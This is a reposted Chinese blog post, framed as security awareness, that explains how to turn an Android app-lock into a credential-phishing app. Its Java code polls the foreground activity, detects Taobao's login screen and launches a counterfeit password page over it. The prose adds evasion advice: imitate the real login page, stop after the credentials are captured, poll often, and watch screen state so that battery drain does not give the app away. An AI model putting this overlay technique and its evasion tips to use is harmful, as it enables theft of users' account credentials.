zoukankan      html  css  js  c++  java
  • android安全问题(三) 钓鱼程序

    导读:文本介绍一种钓鱼应用,讲述如何骗取用户的用户名和密码,无须root

    这个话题是继续android安全问题(二) 程序锁延伸的

    之前我已经展示了如何制作程序锁。当打开指定应用的时候,弹出一个密码页面。

    程序锁的话题虽然是和安全相关,但是这应该属于防范的范围,如果被人恶意利用,那么后果……

    这期我来揭示一下一种钓鱼程序的原理,希望广大用户不要上当受骗,最主要的是:希望大家意识到安全问

    之前我用定时扫描activity的方法来检查打开的页面是不是我们所需要的页面

    Java代码 复制代码 收藏代码
    1. ComponentName topActivity = mActivityManager.getRunningTasks(1).get(0).topActivity;  

    如何用于钓鱼呢?比如我打开了淘宝,然后想登录,查看一下我淘宝,这时候会打开下面这个页面

    从log中我们能得到其包和类的信息

    log 写道
    10-17 10:02:14.698: I/ActivityManager(246): Displayed com.taobao.taobao/com.taobao.tao.LoginActivity: +305ms

    恩,这就好办了,下面我只需改三处,程序锁这个应用就会变成调用应用

    第一个修改很简单,修改我们监听的包名和类名即可

    Java代码 复制代码 收藏代码
    1. String testPackageName = "com.taobao.taobao";   
    2. String testClassName = "com.taobao.tao.LoginActivity";  

    完整代码

    Java代码 复制代码 收藏代码
    1. public class LockTask extends TimerTask {   
    2.     public static final String TAG = "LockTask";   
    3.     private Context mContext;   
    4.     String testPackageName = "com.taobao.taobao";   
    5.     String testClassName = "com.taobao.tao.LoginActivity";   
    6.   
    7.     private ActivityManager mActivityManager;   
    8.   
    9.     public LockTask(Context context) {   
    10.         mContext = context;   
    11.         mActivityManager = (ActivityManager) context.getSystemService("activity");   
    12.     }   
    13.   
    14.     @Override  
    15.     public void run() {   
    16.         ComponentName topActivity = mActivityManager.getRunningTasks(1).get(0).topActivity;   
    17.         String packageName = topActivity.getPackageName();   
    18.         String className = topActivity.getClassName();   
    19.         Log.v(TAG, "packageName" + packageName);   
    20.         Log.v(TAG, "className" + className);   
    21.   
    22.         if (testPackageName.equals(packageName)   
    23.                 && testClassName.equals(className)) {   
    24.             Intent intent = new Intent();   
    25.             intent.setClassName("com.example.locktest""com.example.locktest.PasswordActivity");   
    26.             intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);   
    27.             mContext.startActivity(intent);   
    28.         }   
    29.     }   
    30. }  

    第二个修改有些技术含量,可能会需要一个专业的美工,来仿造一个淘宝的登录页面,就如上图所示的那样

    最后一个修改,当病毒获取了用户名和密码之后,就不要再继续监听了,不然次数多了肯定会被发现

    为了尽量不让用户察觉,可以把频率调高一些,比如500ms检查一次,这样用户就很难察觉了

    测试项目完整源码见附件,代码是以android4.0为基础写的(当然,我的钓鱼页面是简陋的,只是用于演示)

    无论是程序锁还是钓鱼程序,他们可能都担心耗电问题,因为耗电过多也会引起用户的注意

    我们可以降低检查频率(当然,钓鱼程序是不会这么干的)

    我们可以监控屏幕状态,当屏幕关闭的时候,我们可以停止监听,这时候也没有必要监听,当点亮的时候我们再监听

    如何监听屏幕状态?

    我们需要监听下面两个action

    Intent.ACTION_SCREEN_OFF

    Intent.ACTION_SCREEN_ON

    还有一个要求,就是要动态注册才可以,不能在manifest中注册

    其余的事情大家就自己实现吧

    请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒!

    转贴

    http://su1216.iteye.com/

    http://blog.csdn.net/su1216/

  • 相关阅读:
    caffe常用层: batchNorm层和scale层
    简述configure、pkg-config、pkg_config_path三者的关系
    python删除list中元素的三种方法
    Leetcode 872. Leaf-Similar Trees
    Leetcode 508. Most Frequent Subtree Sum
    Leetcode 572. Subtree of Another Tree
    Leetcode 894. All Possible Full Binary Trees
    Leetcode 814. Binary Tree Pruning
    Leetcode 557. Reverse Words in a String III
    python 多维list声明时的小问题
  • 原文地址:https://www.cnblogs.com/jackrex/p/3001408.html
Copyright © 2011-2022 走看看